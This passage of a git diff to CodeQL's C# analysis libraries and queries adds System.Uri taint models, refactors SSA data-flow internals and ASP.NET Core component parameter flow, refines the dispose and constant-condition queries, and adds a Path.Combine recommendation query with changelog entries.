+      - ["System", "Uri", False, "Uri", "(System.String,System.UriCreationOptions)", "", "Argument[0]", "Argument[this]", "taint", "manual"]
+      - ["System", "Uri", False, "Uri", "(System.Uri,System.String)", "", "Argument[0]", "Argument[this]", "taint", "manual"]
+      - ["System", "Uri", False, "Uri", "(System.Uri,System.String)", "", "Argument[1]", "Argument[this]", "taint", "manual"]
+      - ["System", "Uri", False, "Uri", "(System.Uri,System.String,System.Boolean)", "", "Argument[0]", "Argument[this]", "taint", "manual"]
+      - ["System", "Uri", False, "Uri", "(System.Uri,System.String,System.Boolean)", "", "Argument[1]", "Argument[this]", "taint", "manual"]
+      - ["System", "Uri", False, "get_AbsoluteUri", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"]
+      - ["System", "Uri", False, "get_DnsSafeHost", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"]
+      - ["System", "Uri", False, "get_LocalPath", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"]
       - ["System", "Uri", False, "get_OriginalString", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"]
       - ["System", "Uri", False, "get_PathAndQuery", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"]
       - ["System", "Uri", False, "get_Query", "()", "", "Argument[this]", "ReturnValue", "taint", "manual"]
diff --git a/csharp/ql/lib/qlpack.yml b/csharp/ql/lib/qlpack.yml
index addd301f65f4..6e3be2c91cb8 100644
--- a/csharp/ql/lib/qlpack.yml
+++ b/csharp/ql/lib/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql/csharp-all
-version: 5.1.2
+version: 5.1.3
 groups: csharp
 dbscheme: semmlecode.csharp.dbscheme
 extractor: csharp
diff --git a/csharp/ql/lib/semmle/code/csharp/Type.qll b/csharp/ql/lib/semmle/code/csharp/Type.qll
index 6901fb806b19..9283bb3002a1 100644
--- a/csharp/ql/lib/semmle/code/csharp/Type.qll
+++ b/csharp/ql/lib/semmle/code/csharp/Type.qll
@@ -1214,6 +1214,8 @@ class ArglistType extends Type, @arglist_type {
 class UnknownType extends Type, @unknown_type {
   /** Holds if this is the canonical unknown type, and not a type that failed to extract properly. */
   predicate isCanonical() { types(this, _, "<unknown type>") }
+
+  override string getAPrimaryQlClass() { result = "UnknownType" }
 }
 
 /**
diff --git a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/Completion.qll b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/Completion.qll
index a470d0c4b8a2..6fed45cdf84d 100644
--- a/csharp/ql/lib/semmle/code/csharp/controlflow/internal/Completion.qll
+++ b/csharp/ql/lib/semmle/code/csharp/controlflow/internal/Completion.qll
@@ -293,6 +293,8 @@ private predicate isMatchingConstant(PatternExpr pe, boolean value) {
   value = true
   or
   exists(Type t, Type strippedType |
+    not t instanceof UnknownType and
+    not strippedType instanceof UnknownType and
     typePatternMustHaveMatchingCompletion(pe, t, strippedType) and
     not typePatternCommonSubType(t, strippedType) and
     value = false
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll
index 949eb7c2b41e..9373c46466a0 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPrivate.qll
@@ -456,9 +456,9 @@ module VariableCapture {
     Flow::clearsContent(asClosureNode(node), getCapturedVariableContent(c))
   }
 
-  class CapturedSsaDefinitionExt extends SsaImpl::DefinitionExt {
-    CapturedSsaDefinitionExt() {
-      this.getSourceVariable().getAssignable() = any(CapturedVariable v).asLocalScopeVariable()
+  class CapturedSsaSourceVariable extends Ssa::SourceVariable {
+    CapturedSsaSourceVariable() {
+      this.getAssignable() = any(CapturedVariable v).asLocalScopeVariable()
     }
   }
 
@@ -506,15 +506,15 @@ module SsaFlow {
     result.(Impl::ExprPostUpdateNode).getExpr() =
       n.(PostUpdateNode).getPreUpdateNode().(ExprNode).getControlFlowNode()
     or
-    result.(Impl::ParameterNode).getParameter() = n.(ExplicitParameterNode).getSsaDefinition()
+    result.(Impl::WriteDefSourceNode).getDefinition() = n.(ExplicitParameterNode).getSsaDefinition()
   }
 
-  predicate localFlowStep(SsaImpl::DefinitionExt def, Node nodeFrom, Node nodeTo, boolean isUseStep) {
-    Impl::localFlowStep(def, asNode(nodeFrom), asNode(nodeTo), isUseStep)
+  predicate localFlowStep(Ssa::SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep) {
+    Impl::localFlowStep(v, asNode(nodeFrom), asNode(nodeTo), isUseStep)
   }
 
-  predicate localMustFlowStep(SsaImpl::DefinitionExt def, Node nodeFrom, Node nodeTo) {
-    Impl::localMustFlowStep(def, asNode(nodeFrom), asNode(nodeTo))
+  predicate localMustFlowStep(Ssa::SourceVariable v, Node nodeFrom, Node nodeTo) {
+    Impl::localMustFlowStep(v, asNode(nodeFrom), asNode(nodeTo))
   }
 }
 
@@ -644,12 +644,10 @@ module LocalFlow {
   }
 
   /**
-   * Holds if the source variable of SSA definition `def` is an instance field.
+   * Holds if the source variable `v` is an instance field.
    */
-  predicate usesInstanceField(SsaImpl::DefinitionExt def) {
-    exists(Ssa::SourceVariables::FieldOrPropSourceVariable fp | fp = def.getSourceVariable() |
-      not fp.getAssignable().(Modifiable).isStatic()
-    )
+  predicate isInstanceField(Ssa::SourceVariables::FieldOrPropSourceVariable v) {
+    not v.getAssignable().(Modifiable).isStatic()
   }
 
   predicate localFlowStepCommon(Node nodeFrom, Node nodeTo) {
@@ -693,19 +691,22 @@ module LocalFlow {
     )
   }
 
-  /** Gets a node for which to construct a post-update node for argument `arg`. */
-  ControlFlow::Nodes::ExprNode getAPostUpdateNodeForArg(ControlFlow::Nodes::ExprNode arg) {
-    arg.getExpr() instanceof Argument and
-    result = getALastEvalNode*(arg) and
-    exists(Expr e, Type t | result.getExpr() = e and t = e.stripCasts().getType() |
-      t instanceof RefType and
-      not t instanceof NullType
-      or
-      t = any(TypeParameter tp | not tp.isValueType())
-      or
-      t.isRefLikeType()
-    ) and
-    not exists(getALastEvalNode(result))
+  /**
+   * Holds if a reverse local flow step should be added from the post-update node
+   * for `e` to the post-update node for the result.
+   *
+   * This is needed to allow for side-effects on compound expressions to propagate
+   * to sub components. For example, in
+   *
+   * ```csharp
+   * m(b ? x : y)
+   * ```
+   *
+   * we add a reverse flow step from `[post] b ? x : y` to `[post] x` and to
+   * `[post] y`, in order for the side-effect of `m` to reach both `x` and `y`.
+   */
+  ControlFlow::Nodes::ExprNode getPostUpdateReverseStep(ControlFlow::Nodes::ExprNode e) {
+    result = getALastEvalNode(e)
   }
 
   /**
@@ -749,10 +750,10 @@ predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo, string model) {
   (
     LocalFlow::localFlowStepCommon(nodeFrom, nodeTo)
     or
-    exists(SsaImpl::DefinitionExt def, boolean isUseStep |
-      SsaFlow::localFlowStep(def, nodeFrom, nodeTo, isUseStep) and
-      not LocalFlow::usesInstanceField(def) and
-      not def instanceof VariableCapture::CapturedSsaDefinitionExt
+    exists(Ssa::SourceVariable v, boolean isUseStep |
+      SsaFlow::localFlowStep(v, nodeFrom, nodeTo, isUseStep) and
+      not LocalFlow::isInstanceField(v) and
+      not v instanceof VariableCapture::CapturedSsaSourceVariable
     |
       isUseStep = false
       or
@@ -765,6 +766,13 @@ predicate simpleLocalFlowStep(Node nodeFrom, Node nodeTo, string model) {
     VariableCapture::valueStep(nodeFrom, nodeTo)
     or
     nodeTo = nodeFrom.(LocalFunctionCreationNode).getAnAccess(true)
+    or
+    nodeTo.(PostUpdateNode).getPreUpdateNode().(ExprNode).getControlFlowNode() =
+      LocalFlow::getPostUpdateReverseStep(nodeFrom
+            .(PostUpdateNode)
+            .getPreUpdateNode()
+            .(ExprNode)
+            .getControlFlowNode())
   ) and
   model = ""
   or
@@ -1063,6 +1071,20 @@ private class FieldOrPropertyUsedInSource extends FieldOrProperty {
   }
 }
 
+/**
+ * Hold if `e` has a type that allows for it to have a post-update node.
+ */
+predicate exprMayHavePostUpdateNode(Expr e) {
+  exists(Type t | t = e.stripCasts().getType() |
+    t instanceof RefType and
+    not t instanceof NullType
+    or
+    t = any(TypeParameter tp | not tp.isValueType())
+    or
+    t.isRefLikeType()
+  )
+}
+
 /** A collection of cached types and predicates to be evaluated in the same stage. */
 cached
 private module Cached {
@@ -1108,7 +1130,15 @@ private module Cached {
       cfn.getAstNode().(ObjectCreation).hasInitializer()
     } or
     TExprPostUpdateNode(ControlFlow::Nodes::ExprNode cfn) {
-      cfn = LocalFlow::getAPostUpdateNodeForArg(_)
+      (
+        cfn.getExpr() instanceof Argument
+        or
+        cfn =
+          LocalFlow::getPostUpdateReverseStep(any(ControlFlow::Nodes::ExprNode e |
+              exists(any(SourcePostUpdateNode p).getPreUpdateNode().asExprAtNode(e))
+            ))
+      ) and
+      exprMayHavePostUpdateNode(cfn.getExpr())
       or
       exists(Expr e | e = cfn.getExpr() |
         fieldOrPropertyStore(_, _, _, e, true)
@@ -2733,17 +2763,23 @@ abstract class PostUpdateNode extends Node {
 }
 
 module PostUpdateNodes {
-  class ObjectCreationNode extends PostUpdateNode, ExprNode, TExprNode {
+  abstract class SourcePostUpdateNode extends PostUpdateNode {
+    abstract Node getPreUpdateSourceNode();
+
+    final override Node getPreUpdateNode() { result = this.getPreUpdateSourceNode() }
+  }
+
+  class ObjectCreationNode extends SourcePostUpdateNode, ExprNode, TExprNode {
     private ObjectCreation oc;
 
     ObjectCreationNode() { this = TExprNode(oc.getAControlFlowNode()) }
 
-    override Node getPreUpdateNode() {
+    override Node getPreUpdateSourceNode() {
       exists(ControlFlow::Nodes::ElementNode cfn | this = TExprNode(cfn) |
-        result.(ObjectInitializerNode).getControlFlowNode() = cfn
+        result = TObjectInitializerNode(cfn)
         or
         not oc.hasInitializer() and
-        result.(MallocNode).getControlFlowNode() = cfn
+        result = TMallocNode(cfn)
       )
     }
   }
@@ -2755,7 +2791,7 @@ module PostUpdateNodes {
    * Such a node acts as both a post-update node for the `MallocNode`, as well as
    * a pre-update node for the `ObjectCreationNode`.
    */
-  class ObjectInitializerNode extends PostUpdateNode, NodeImpl, ArgumentNodeImpl,
+  class ObjectInitializerNode extends SourcePostUpdateNode, NodeImpl, ArgumentNodeImpl,
     TObjectInitializerNode
   {
     private ObjectCreation oc;
@@ -2769,7 +2805,7 @@ module PostUpdateNodes {
     /** Gets the initializer to which this initializer node belongs. */
     ObjectOrCollectionInitializer getInitializer() { result = oc.getInitializer() }
 
-    override MallocNode getPreUpdateNode() { result.getControlFlowNode() = cfn }
+    override MallocNode getPreUpdateSourceNode() { result = TMallocNode(cfn) }
 
     override predicate argumentOf(DataFlowCall call, ArgumentPosition pos) {
       pos.isQualifier() and
@@ -2792,23 +2828,12 @@ module PostUpdateNodes {
     override string toStringImpl() { result = "[pre-initializer] " + cfn }
   }
 
-  class ExprPostUpdateNode extends PostUpdateNode, NodeImpl, TExprPostUpdateNode {
+  class ExprPostUpdateNode extends SourcePostUpdateNode, NodeImpl, TExprPostUpdateNode {
     private ControlFlow::Nodes::ElementNode cfn;
 
     ExprPostUpdateNode() { this = TExprPostUpdateNode(cfn) }
 
-    override ExprNode getPreUpdateNode() {
-      // For compound arguments, such as `m(b ? x : y)`, we want the leaf nodes
-      // `[post] x` and `[post] y` to have two pre-update nodes: (1) the compound argument,
-      // `if b then x else y`; and the (2) the underlying expressions; `x` and `y`,
-      // respectively.
-      //
-      // This ensures that we get flow out of the call into both leafs (1), while still
-      // maintaining the invariant that the underlying expression is a pre-update node (2).
-      cfn = LocalFlow::getAPostUpdateNodeForArg(result.getControlFlowNode())
-      or
-      cfn = result.getControlFlowNode()
-    }
+    override ExprNode getPreUpdateSourceNode() { result = TExprNode(cfn) }
 
     override DataFlowCallable getEnclosingCallableImpl() {
       result.getAControlFlowNode() = cfn
@@ -2836,41 +2861,41 @@ module PostUpdateNodes {
     override Node getPreUpdateNode() { result.(FlowSummaryNode).getSummaryNode() = preUpdateNode }
   }
 
-  private class InstanceParameterAccessPostUpdateNode extends PostUpdateNode,
+  private class InstanceParameterAccessPostUpdateNode extends SourcePostUpdateNode,
     InstanceParameterAccessNode
   {
     InstanceParameterAccessPostUpdateNode() { isPostUpdate = true }
 
-    override InstanceParameterAccessPreNode getPreUpdateNode() {
+    override InstanceParameterAccessPreNode getPreUpdateSourceNode() {
       result = TInstanceParameterAccessNode(cfn, false)
     }
 
     override string toStringImpl() { result = "[post] this" }
   }
 
-  private class PrimaryConstructorThisAccessPostUpdateNode extends PostUpdateNode,
+  private class PrimaryConstructorThisAccessPostUpdateNode extends SourcePostUpdateNode,
     PrimaryConstructorThisAccessNode
   {
     PrimaryConstructorThisAccessPostUpdateNode() { isPostUpdate = true }
 
-    override PrimaryConstructorThisAccessPreNode getPreUpdateNode() {
+    override PrimaryConstructorThisAccessPreNode getPreUpdateSourceNode() {
       result = TPrimaryConstructorThisAccessNode(p, false, callable)
     }
 
     override string toStringImpl() { result = "[post] this" }
   }
 
-  class LocalFunctionCreationPostUpdateNode extends LocalFunctionCreationNode, PostUpdateNode {
+  class LocalFunctionCreationPostUpdateNode extends LocalFunctionCreationNode, SourcePostUpdateNode {
     LocalFunctionCreationPostUpdateNode() { isPostUpdate = true }
 
-    override LocalFunctionCreationPreNode getPreUpdateNode() {
+    override LocalFunctionCreationPreNode getPreUpdateSourceNode() {
       result = TLocalFunctionCreationNode(cfn, false)
     }
 
     override string toStringImpl() { result = "[post] " + cfn }
   }
 
-  private class CapturePostUpdateNode extends PostUpdateNode, CaptureNode {
+  private class CapturePostUpdateNode extends SourcePostUpdateNode, CaptureNode {
     private CaptureNode pre;
 
     CapturePostUpdateNode() {
@@ -2878,7 +2903,7 @@ module PostUpdateNodes {
         pre.getSynthesizedCaptureNode())
     }
 
-    override CaptureNode getPreUpdateNode() { result = pre }
+    override CaptureNode getPreUpdateSourceNode() { result = pre }
 
     override string toStringImpl() { result = "[post] " + cn }
   }
@@ -3016,13 +3041,13 @@ private predicate delegateCreationStep(Node nodeFrom, Node nodeTo) {
 
 /** Extra data-flow steps needed for lambda flow analysis. */
 predicate additionalLambdaFlowStep(Node nodeFrom, Node nodeTo, boolean preservesValue) {
-  exists(SsaImpl::DefinitionExt def |
-    SsaFlow::localFlowStep(def, nodeFrom, nodeTo, _) and
+  exists(Ssa::SourceVariable v |
+    SsaFlow::localFlowStep(v, nodeFrom, nodeTo, _) and
     preservesValue = true
   |
-    LocalFlow::usesInstanceField(def)
+    LocalFlow::isInstanceField(v)
     or
-    def instanceof VariableCapture::CapturedSsaDefinitionExt
+    v instanceof VariableCapture::CapturedSsaSourceVariable
   )
   or
   delegateCreationStep(nodeFrom, nodeTo) and
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll
index 877630359fda..b21d5e2c3efb 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/DataFlowPublic.qll
@@ -147,6 +147,16 @@ predicate localFlow(Node source, Node sink) { localFlowStep*(source, sink) }
 pragma[inline]
 predicate localExprFlow(Expr e1, Expr e2) { localFlow(exprNode(e1), exprNode(e2)) }
 
+/**
+ * A module importing the modules that provide non local jump node declarations,
+ * ensuring that they are visible to the taint tracking / data flow library.
+ */
+private module JumpNodes {
+  private import semmle.code.csharp.frameworks.microsoft.aspnetcore.Components
+  private import semmle.code.csharp.frameworks.Razor
+  private import semmle.code.csharp.frameworks.NHibernate
+}
+
 /**
  * A data flow node that jumps between callables. This can be extended in
  * framework code to add additional data flow steps.
diff --git a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll
index 61787debca4f..ad7a2aba911a 100644
--- a/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll
+++ b/csharp/ql/lib/semmle/code/csharp/dataflow/internal/SsaImpl.qll
@@ -60,12 +60,6 @@ class PhiNode = Impl::PhiNode;
 
 module Consistency = Impl::Consistency;
 
-module ExposedForTestingOnly {
-  predicate ssaDefReachesReadExt = Impl::ssaDefReachesReadExt/4;
-
-  predicate phiHasInputFromBlockExt = Impl::phiHasInputFromBlockExt/3;
-}
-
 /**
  * Holds if the `i`th node of basic block `bb` reads source variable `v`.
  */
@@ -967,13 +961,13 @@ private module Cached {
     import DataFlowIntegrationImpl
 
     cached
-    predicate localFlowStep(DefinitionExt def, Node nodeFrom, Node nodeTo, boolean isUseStep) {
-      DataFlowIntegrationImpl::localFlowStep(def, nodeFrom, nodeTo, isUseStep)
+    predicate localFlowStep(Ssa::SourceVariable v, Node nodeFrom, Node nodeTo, boolean isUseStep) {
+      DataFlowIntegrationImpl::localFlowStep(v, nodeFrom, nodeTo, isUseStep)
     }
 
     cached
-    predicate localMustFlowStep(DefinitionExt def, Node nodeFrom, Node nodeTo) {
-      DataFlowIntegrationImpl::localMustFlowStep(def, nodeFrom, nodeTo)
+    predicate localMustFlowStep(Ssa::SourceVariable v, Node nodeFrom, Node nodeTo) {
+      DataFlowIntegrationImpl::localMustFlowStep(v, nodeFrom, nodeTo)
     }
 
     signature predicate guardChecksSig(Guards::Guard g, Expr e, Guards::AbstractValue v);
@@ -1000,9 +994,9 @@ private module Cached {
 
 import Cached
 
-private string getSplitString(DefinitionExt def) {
+private string getSplitString(Definition def) {
   exists(ControlFlow::BasicBlock bb, int i, ControlFlow::Node cfn |
-    def.definesAt(_, bb, i, _) and
+    def.definesAt(_, bb, i) and
     result = cfn.(ControlFlow::Nodes::ElementNode).getSplitsString()
   |
     cfn = bb.getNode(i)
@@ -1012,48 +1006,13 @@ private string getSplitString(DefinitionExt def) {
   )
 }
 
-string getToStringPrefix(DefinitionExt def) {
+string getToStringPrefix(Definition def) {
   result = "[" + getSplitString(def) + "] "
   or
   not exists(getSplitString(def)) and
   result = ""
 }
 
-/**
- * An extended static single assignment (SSA) definition.
- *
- * This is either a normal SSA definition (`Definition`) or a
- * phi-read node (`PhiReadNode`).
- *
- * Only intended for internal use.
- */
-class DefinitionExt extends Impl::DefinitionExt {
-  override string toString() { result = this.(Ssa::Definition).toString() }
-
-  /** Gets the location of this definition. */
-  override Location getLocation() { result = this.(Ssa::Definition).getLocation() }
-
-  /** Gets the enclosing callable of this definition. */
-  Callable getEnclosingCallable() { result = this.(Ssa::Definition).getEnclosingCallable() }
-}
-
-/**
- * A phi-read node.
- *
- * Only intended for internal use.
- */
-class PhiReadNode extends DefinitionExt, Impl::PhiReadNode {
-  override string toString() {
-    result = getToStringPrefix(this) + "SSA phi read(" + this.getSourceVariable() + ")"
-  }
-
-  override Location getLocation() { result = this.getBasicBlock().getLocation() }
-
-  override Callable getEnclosingCallable() {
-    result = this.getSourceVariable().getEnclosingCallable()
-  }
-}
-
 private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInputSig {
   private import csharp as Cs
   private import semmle.code.csharp.controlflow.BasicBlocks
@@ -1064,16 +1023,12 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu
 
   Expr getARead(Definition def) { exists(getAReadAtNode(def, result)) }
 
-  predicate ssaDefAssigns(WriteDefinition def, Expr value) {
+  predicate ssaDefHasSource(WriteDefinition def) {
     // exclude flow directly from RHS to SSA definition, as we instead want to
-    // go from RHS to matching assingnable definition, and from there to SSA definition
-    none()
+    // go from RHS to matching assignable definition, and from there to SSA definition
+    def instanceof Ssa::ImplicitParameterDefinition
   }
 
-  class Parameter = Ssa::ImplicitParameterDefinition;
-
-  predicate ssaDefInitializesParam(WriteDefinition def, Parameter p) { def = p }
-
   /**
    * Allows for flow into uncertain defintions that are not call definitions,
    * as we, conservatively, consider such definitions to be certain.
@@ -1088,29 +1043,28 @@ private module DataFlowIntegrationInput implements Impl::DataFlowIntegrationInpu
   }
 
   class Guard extends Guards::Guard {
-    predicate hasCfgNode(ControlFlow::BasicBlock bb, int i) {
-      this.getAControlFlowNode() = bb.getNode(i)
+    /**
+     * Holds if the control flow branching from `bb1` is dependent on this guard,
+     * and that the edge from `bb1` to `bb2` corresponds to the evaluation of this
+     * guard to `branch`.
+     */
+    predicate controlsBranchEdge(BasicBlock bb1, BasicBlock bb2, boolean branch) {
+      exists(ControlFlow::SuccessorTypes::ConditionalSuccessor s |
+        this.getAControlFlowNode() = bb1.getLastNode() and
+        bb2 = bb1.getASuccessorByType(s) and
+        s.getValue() = branch
+      )
     }
   }
 
   /** Holds if the guard `guard` controls block `bb` upon evaluating to `branch`. */
-  predicate guardControlsBlock(Guard guard, ControlFlow::BasicBlock bb, boolean branch) {
+  predicate guardDirectlyControlsBlock(Guard guard, ControlFlow::BasicBlock bb, boolean branch) {
     exists(ConditionBlock conditionBlock, ControlFlow::SuccessorTypes::ConditionalSuccessor s |
       guard.getAControlFlowNode() = conditionBlock.getLastNode() and
       s.getValue() = branch and
       conditionBlock.edgeDominates(bb, s)
     )
   }
-
-  /** Gets an immediate conditional successor of basic block `bb`, if any. */
-  ControlFlow::BasicBlock getAConditionalBasicBlockSuccessor(
-    ControlFlow::BasicBlock bb, boolean branch
-  ) {
-    exists(ControlFlow::SuccessorTypes::ConditionalSuccessor s |
-      result = bb.getASuccessorByType(s) and
-      s.getValue() = branch
-    )
-  }
 }
 
 private module DataFlowIntegrationImpl = Impl::DataFlowIntegration<DataFlowIntegrationInput>;
diff --git a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll
index 6e37fc0480fb..be937661b477 100644
--- a/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll
+++ b/csharp/ql/lib/semmle/code/csharp/frameworks/microsoft/aspnetcore/Components.qll
@@ -112,6 +112,16 @@ class MicrosoftAspNetCoreComponentsComponent extends Class {
   }
 }
 
+/**
+ * The `Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder::AddComponentParameter` method.
+ */
+private class MicrosoftAspNetCoreComponentsAddComponentParameterMethod extends Method {
+  MicrosoftAspNetCoreComponentsAddComponentParameterMethod() {
+    this.hasFullyQualifiedName("Microsoft.AspNetCore.Components.Rendering", "RenderTreeBuilder",
+      "AddComponentParameter")
+  }
+}
+
 private module Sources {
   private import semmle.code.csharp.security.dataflow.flowsources.Remote
 
@@ -133,3 +143,44 @@ private module Sources {
     override string getSourceType() { result = "ASP.NET Core component route parameter" }
   }
 }
+
+private module JumpNodes {
+  /**
+   * A call to `Microsoft.AspNetCore.Components.Rendering.RenderTreeBuilder::AddComponentParameter` which
+   * sets the value of a parameter.
+   */
+  private class ParameterPassingCall extends Call {
+    ParameterPassingCall() {
+      this.getTarget() instanceof MicrosoftAspNetCoreComponentsAddComponentParameterMethod
+    }
+
+    /**
+     * Gets the property whose value is being set.
+     */
+    Property getParameterProperty() {
+      result.getAnAttribute() instanceof MicrosoftAspNetCoreComponentsParameterAttribute and
+      exists(NameOfExpr ne | ne = this.getArgument(1) | result.getAnAccess() = ne.getAccess())
+    }
+
+    /**
+     * Gets the value being set.
+     */
+    Expr getParameterValue() { result = this.getArgument(2) }
+  }
+
+  private class ComponentParameterJump extends DataFlow::NonLocalJumpNode {
+    Property prop;
+
+    ComponentParameterJump() {
+      exists(ParameterPassingCall call |
+        prop = call.getParameterProperty() and
+        this.asExpr() = call.getParameterValue()
+      )
+    }
+
+    override DataFlow::Node getAJumpSuccessor(boolean preservesValue) {
+      preservesValue = true and
+      result.asExpr() = prop.getAnAccess()
+    }
+  }
+}
diff --git a/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql b/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql
index 3072b154812f..e5826c423427 100644
--- a/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql	
+++ b/csharp/ql/src/API Abuse/NoDisposeCallOnLocalIDisposable.ql	
@@ -16,6 +16,7 @@
 import csharp
 import Dispose
 import semmle.code.csharp.frameworks.System
+import semmle.code.csharp.frameworks.system.threading.Tasks
 import semmle.code.csharp.commons.Disposal
 
 private class ReturnNode extends DataFlow::ExprNode {
@@ -24,15 +25,27 @@ private class ReturnNode extends DataFlow::ExprNode {
   }
 }
 
+private class Task extends Type {
+  Task() {
+    this instanceof SystemThreadingTasksTaskClass or
+    this instanceof SystemThreadingTasksTaskTClass
+  }
+}
+
 module DisposeCallOnLocalIDisposableConfig implements DataFlow::ConfigSig {
   predicate isSource(DataFlow::Node node) {
-    node.asExpr() =
-      any(LocalScopeDisposableCreation disposable |
-        // Only care about library types - user types often have spurious IDisposable declarations
-        disposable.getType().fromLibrary() and
-        // WebControls are usually disposed automatically
-        not disposable.getType() instanceof WebControl
-      )
+    exists(LocalScopeDisposableCreation disposable, Type t |
+      node.asExpr() = disposable and
+      t = disposable.getType()
+    |
+      // Only care about library types - user types often have spurious IDisposable declarations
+      t.fromLibrary() and
+      // WebControls are usually disposed automatically
+      not t instanceof WebControl and
+      // It is typically not nessesary to dispose tasks
+      // https://devblogs.microsoft.com/pfxteam/do-i-need-to-dispose-of-tasks/
+      not t instanceof Task
+    )
   }
 
   predicate isSink(DataFlow::Node node) {
diff --git a/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql b/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql
index a0542a947356..88d938e399fe 100644
--- a/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql	
+++ b/csharp/ql/src/Bad Practices/Control-Flow/ConstantCondition.ql	
@@ -119,9 +119,14 @@ class ConstantMatchingCondition extends ConstantCondition {
   }
 
   override predicate isWhiteListed() {
-    exists(SwitchExpr se, int i |
-      se.getCase(i).getPattern() = this.(DiscardExpr) and
+    exists(Switch se, Case c, int i |
+      c = se.getCase(i) and
+      c.getPattern() = this.(DiscardExpr)
+    |
       i > 0
+      or
+      i = 0 and
+      exists(Expr cond | c.getCondition() = cond and not isConstantCondition(cond, true))
     )
     or
     this = any(PositionalPatternExpr ppe).getPattern(_)
diff --git a/csharp/ql/src/Bad Practices/PathCombine.qhelp b/csharp/ql/src/Bad Practices/PathCombine.qhelp
new file mode 100644
index 000000000000..2562a615c87d
--- /dev/null
+++ b/csharp/ql/src/Bad Practices/PathCombine.qhelp	
@@ -0,0 +1,18 @@
+<!DOCTYPE qhelp PUBLIC
+  "-//Semmle//qhelp//EN"
+  "qhelp.dtd">
+<qhelp>
+<overview>
+<p><code>Path.Combine</code> may silently drop its earlier arguments if its later arguments are absolute paths. E.g. <code>Path.Combine("C:\\Users\\Me\\Documents", "C:\\Program Files\\") == "C:\\Program Files"</code>.</p>
+
+</overview>
+<recommendation>
+<p>Use <code>Path.Join</code> instead.</p>
+</recommendation>
+<references>
+
+  <li>Microsoft Learn, .NET API browser, <a href="https://learn.microsoft.com/en-us/dotnet/api/system.io.path.combine?view=net-9.0">Path.Combine</a>.</li>
+  <li>Microsoft Learn, .NET API browser, <a href="https://learn.microsoft.com/en-us/dotnet/api/system.io.path.join?view=net-9.0">Path.Join</a>.</li>
+
+</references>
+</qhelp>
diff --git a/csharp/ql/src/Bad Practices/PathCombine.ql b/csharp/ql/src/Bad Practices/PathCombine.ql
new file mode 100644
index 000000000000..aa841486bdff
--- /dev/null
+++ b/csharp/ql/src/Bad Practices/PathCombine.ql	
@@ -0,0 +1,16 @@
+/**
+ * @name Call to System.IO.Path.Combine
+ * @description Finds calls to System.IO.Path's Combine method
+ * @kind problem
+ * @problem.severity recommendation
+ * @precision very-high
+ * @id cs/path-combine
+ * @tags reliability
+ */
+
+import csharp
+import semmle.code.csharp.frameworks.System
+
+from MethodCall call
+where call.getTarget().hasFullyQualifiedName("System.IO", "Path", "Combine")
+select call, "Call to 'System.IO.Path.Combine'."
diff --git a/csharp/ql/src/CHANGELOG.md b/csharp/ql/src/CHANGELOG.md
index 09d65767a943..125e61622531 100644
--- a/csharp/ql/src/CHANGELOG.md
+++ b/csharp/ql/src/CHANGELOG.md
@@ -1,3 +1,18 @@
+## 1.1.0
+
+### New Queries
+
+* Added a new query, `csharp/path-combine`, to recommend against the `Path.Combine` method due to it silently discarding its earlier parameters if later parameters are rooted.
+
+### Minor Analysis Improvements
+
+* Improved dependency resolution in `build-mode: none` extraction to handle failing `dotnet restore` processes that managed to download a subset of the dependencies before the failure.
+* Increase query precision for `cs/useless-gethashcode-call` by not flagging calls to `GetHashCode` on `uint`, `long` and `ulong`.
+* Increase query precision for `cs/constant-condition` and allow the use of discards in switch/case statements and also take the condition (if any) into account.
+* The `cs/local-not-disposed` query no longer flags un-disposed tasks as this is often not needed (explained [here](https://devblogs.microsoft.com/pfxteam/do-i-need-to-dispose-of-tasks/)).
+* Increase query precision for `cs/useless-assignment-to-local` and `cs/constant-condition` when *unknown* types are involved (mostly relevant for `build-mode: none` databases).
+* Don't consider an if-statement to be *useless* in `cs/useless-if-statement` if there is at least a comment.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/csharp/ql/src/Useless code/FutileConditional.ql b/csharp/ql/src/Useless code/FutileConditional.ql
index 1000113185d4..d77fd55a434a 100644
--- a/csharp/ql/src/Useless code/FutileConditional.ql	
+++ b/csharp/ql/src/Useless code/FutileConditional.ql	
@@ -16,7 +16,8 @@ predicate emptyStmt(Stmt s) {
   or
   s =
     any(BlockStmt bs |
-      bs.getNumberOfStmts() = 0
+      bs.getNumberOfStmts() = 0 and
+      not any(CommentBlock cb).getParent() = bs
       or
